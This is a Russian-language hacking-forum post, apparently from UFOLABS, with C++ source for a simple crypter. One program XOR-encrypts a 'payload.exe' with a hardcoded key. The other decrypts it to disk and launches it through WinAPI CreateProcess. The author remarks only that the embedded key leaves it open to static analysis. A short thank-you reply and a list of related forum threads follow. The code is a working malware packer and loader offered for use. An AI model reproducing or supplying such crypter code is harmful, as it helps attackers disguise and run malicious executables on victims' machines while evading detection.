Статья Шифрование и выполнение полезной нагрузки с XOR в C++

devqp

Специалист
Реализация шифрования полезной нагрузки XOR-алгоритмом с последующим выполнением в C++.

Шифрование payload:
Код:
#include <iostream>
#include <fstream>
#include <vector>

void xor_encrypt_decrypt(std::vector<char> &data, const std::string &key) {
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= key[i % key.length()];
    }
}

int main() {
    std::ifstream payloadFile("payload.exe", std::ios::binary);
    std::vector<char> payload((std::istreambuf_iterator<char>(payloadFile)),
                             std::istreambuf_iterator<char>());
    payloadFile.close();

    std::string key = "simplekey";
    xor_encrypt_decrypt(payload, key);

    std::ofstream encryptedFile("encrypted_payload.bin", std::ios::binary);
    encryptedFile.write(payload.data(), payload.size());
    encryptedFile.close();

    std::cout << "Payload encrypted and saved to encrypted_payload.bin" << std::endl;
    return 0;
}

Дешифровка и выполнение:
Код:
#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>

void xor_encrypt_decrypt(std::vector<char> &data, const std::string &key) {
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= key[i % key.length()];
    }
}

int main() {
    std::ifstream encryptedFile("encrypted_payload.bin", std::ios::binary);
    std::vector<char> encryptedPayload((std::istreambuf_iterator<char>(encryptedFile)),
                                      std::istreambuf_iterator<char>());
    encryptedFile.close();

    std::string key = "simplekey";
    xor_encrypt_decrypt(encryptedPayload, key);

    std::string decryptedPayloadPath = "decrypted_payload.exe";
    std::ofstream decryptedFile(decryptedPayloadPath, std::ios::binary);
    decryptedFile.write(encryptedPayload.data(), encryptedPayload.size());
    decryptedFile.close();

    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    if (!CreateProcess(decryptedPayloadPath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        std::cerr << "Failed to execute payload." << std::endl;
        return 1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    std::cout << "Payload executed successfully." << std::endl;
    return 0;
}

Алгоритм использует XOR-шифрование с ключом "simplekey" для защиты payload. После дешифровки создается временный EXE-файл, который выполняется через WinAPI CreateProcess. Обратите внимание: метод уязвим к статическому анализу из-за хранения ключа в бинарнике.
 

mortis

Пользователь
Спасибо тебе, ради тебя на форуме и зарегался, можно сказать от тебя и узнал
 
Похожие темы
Admin UFOLABSNEWS Новая версия вредоносного ПО PamStealer для macOS использует многослойное шифрование и устойчивость. Новости в сети 0
Admin UFOLABSNEWS В приложении MAX отсутствует сквозное шифрование, а сервер может изменять его работу для отдельных аккаунтов. Новости в сети 0
Admin UFOLABSNEWS Полиция научилась читать сообщения в Signal, Telegram и WhatsApp, не взламывая шифрование. Новости в сети 0
Admin Интересно Apple добавила шифрование переписки между iPhone и Android. Новости в сети 0
Admin Интересно Павел Дуров раскритиковал шифрование WhatsApp. Новости в сети 0
Admin Интересно Неделя на исправление и публичный скандал. Белый хакер доказал, что сквозное шифрование можно взломать.. Новости в сети 0
Admin Статья Почти идеальное шифрование Анонимность и приватность 0
Admin Интересно Прощай, RSA? США официально признали, что старое шифрование скоро «превратится в тыкву». Новости в сети 0
Admin Статья Шифрование трафика MSF для предотвращения обнаружения Уязвимости и взлом 0
Admin Интересно Сквозное шифрование WhatsApp оказалось фикцией? Мессенджер сливал хакерам данные о наших телефонах годами. Новости в сети 0
Admin Статья Шифрование для ленивых Полезные статьи 0
Admin Статья Шифрование Полезные статьи 0
Support81 $244000000 за шифрование. VPN-инфраструктура теперь — бесплатный банкомат для хакеров Новости в сети 0
Support81 Шифрование — прошлый век: киберпреступники переходят на новую модель вымогательства Новости в сети 0
Support81 Дуров: «Лучше уйдём из Франции, чем сдадим шифрование» Новости в сети 0
Support81 Трёхслойное шифрование и туннелирование: BRICKSTORM сносит любую защиту на своём пути Новости в сети 0
Support81 Шифрование не спасет: как хакеры читают "защищенные" сообщения без взлома Новости в сети 0
Support81 HardBit 4.0: шифрование по паролю и сложные методы обхода анализа Новости в сети 0
Emilio_Gaviriya Статья Что такое шифрование с открытым ключом. Анонимность и приватность 0
Support81 Шифрование TutaCrypt: когда электронные письма играют в прятки с квантами Новости в сети 0
M BitLocker пароль на USB / Шифрование Анонимность и приватность 0
T Ассиметричное шифрование Полезные статьи 1
T Как работает SSL шифрование. Полезные статьи 0
K Реверсинг малвари для начинающих. Внедрение shellcode и шифрование malware-кода Уязвимости и взлом 0
S DNSCrypt – шифрование DNS трафика. Анонимность и приватность 1
Z OpenKeychain — шифрование сообщений в Android Готовый софт 0
Admin UFOLABSNEWS В Next.js обнаружены критические уязвимости, позволяющие выполнение произвольного кода. Новости в сети 0
Admin Интересно Microsoft устранила уязвимость в SharePoint, позволяющую удалённое выполнение кода. Новости в сети 0
Admin Интересно Обход ASLR, удалённое выполнение кода и 30 дней тишины. Что известно о новой уязвимости в nginx и почему детали пока засекречены. Новости в сети 0
Admin Интересно Обнаружена критическая уязвимость в Telnetd, позволяющая удалённое выполнение кода с правами root. Новости в сети 0
Admin Интересно Уязвимости в AI-платформах Amazon Bedrock, LangSmith и SGLang позволяют утечку данных и удалённое выполнение кода. Новости в сети 0
G Выполнение макросов из .docx файлов с удаленной инъекцией шаблона Полезные статьи 0

Название темы